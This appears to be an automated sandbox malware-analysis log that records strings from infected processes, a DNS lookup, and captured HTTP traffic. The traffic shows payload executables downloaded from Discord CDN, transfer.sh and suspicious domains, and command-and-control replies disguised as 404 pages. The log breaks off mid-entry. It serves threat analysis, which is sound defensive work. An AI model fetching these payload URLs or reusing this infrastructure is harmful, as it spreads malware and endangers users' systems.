Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: https://t.me/capibar
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: https://t.me/capibarl
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

25_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /attachments/812323288264605709/924475642190397461/Hairstyle.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /get/s3SPeb/A.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /attachments/925145879403446292/925145901322879006/top.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /x009B.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: downloafilesaccess.ddns.net
Source: global traffic	HTTP traffic detected: GET /files/5376_1640094939_1074.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Source: global traffic	HTTP traffic detected: GET /files/2264_1640622147_2258.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.128
Source: global traffic	HTTP traffic detected: GET /POeNDXYchB.php HTTP/1.1Host: 185.7.214.239Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 185.7.214.239Cache-Control: no-cacheCookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1a b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef ae 8a 70 bc 57 dd 42 d6 f7 23 8c 21 e6 c3 93 50 2c e2 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9KpWB#!P,c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:43 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeData Raw: 31 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 61 74 61 2d 68 6f 73 74 2d 63 6f 69 6e 2d 38 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 11a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at data-host-coin-8.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 